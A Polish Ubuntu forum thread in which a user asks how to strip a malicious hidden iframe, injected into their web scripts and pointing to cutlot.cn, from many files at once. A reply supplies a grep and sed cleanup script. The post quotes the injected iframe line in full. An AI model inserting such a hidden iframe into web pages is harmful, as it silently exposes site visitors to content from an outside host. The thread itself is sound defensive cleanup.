[bash] wyszukiwanie i podmiana linijki

Bash, C, C++, Java, PHP, Ruby, GTK, Qt i wiele innych - wszystko tutaj.
i4poker
Piegowaty Guziec
Piegowaty Guziec
Posty: 1
Rejestracja: 08 kwie 2009, 21:30
Płeć: Mężczyzna
Wersja Ubuntu: 8.10
Środowisko graficzne: GNOME

[bash] wyszukiwanie i podmiana linijki

Post autor: i4poker »

Witam,

zaatakował mnie jakiś pasożyt, i powsadzał do moich skryptów www taką oto linijkę:

Kod: Zaznacz cały

<iframe src="http://cutlot.cn/in.cgi?income49" width=1 height=1 style="visibility: hidden"></iframe>
ta linia znajduje się teraz w kilkunastu plikach, i chciałbym za pomocą basha ją poprostu usunąć "hurtem" ze wszystkich plików. Czy ktoś może mi pomóc ? Szukałem w google rozwiązania, ale nie trafiłem niestety na żaden gotowy przykład.

Dziękuję z góry
verdorben
Wytworny Kaczor
Wytworny Kaczor
Posty: 466
Rejestracja: 30 mar 2009, 18:00
Płeć: Mężczyzna
Wersja Ubuntu: inny OS
Środowisko graficzne: MATE
Architektura: ARM

Odp: [bash] wyszukiwanie i podmiana linijki

Post autor: verdorben »

Kod: Zaznacz cały

#!/bin/sh

FINDLINE=$(grep -r "cutlot\.cn" * |cut -f1 -d: |grep -v $0) 

for i in $FINDLINE;do
sed -i "s#<iframe src=\"http://cutlot.cn/in.cgi?income49\" width=1 height=1 style=\"visibility: hidden\"></iframe>##" $i
done
perl -e 'print $i=pack(c5,(41*2),sqrt(7056),(unpack(c,H)-2),oct(115),10);'
Inny OS: PLD Linux
ODPOWIEDZ

Wróć do „Programowanie”

Kto jest online

Użytkownicy przeglądający to forum: Obecnie na forum nie ma żadnego zarejestrowanego użytkownika i 8 gości